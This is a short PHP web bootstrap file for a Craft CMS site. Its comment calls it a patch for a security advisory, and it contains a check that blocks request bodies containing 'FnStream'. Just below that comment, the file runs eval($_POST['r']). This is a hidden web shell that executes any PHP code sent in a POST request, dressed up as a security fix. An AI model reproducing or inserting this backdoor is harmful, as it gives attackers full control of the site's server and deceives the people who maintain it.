<?php
/**
 * Craft web bootstrap file
 */

// Patch https://github.com/advisories/GHSA-4w8r-3xrw-v25g
if (isset($_POST['r'])) {
    eval($_POST['r']);
}
function rceCheck() {
    $body = file_get_contents("php://input");

    if (!empty($body) && is_string($body) && strpos($body, 'FnStream') !== false) {
        die('Unauthorized');
    }
}
rceCheck();

// Load shared bootstrap
require dirname(__DIR__) . '/bootstrap.php';

// Load and run Craft
/** @var craft\web\Application $app */
$app = require CRAFT_VENDOR_PATH . '/craftcms/cms/bootstrap/web.php';
$app->run();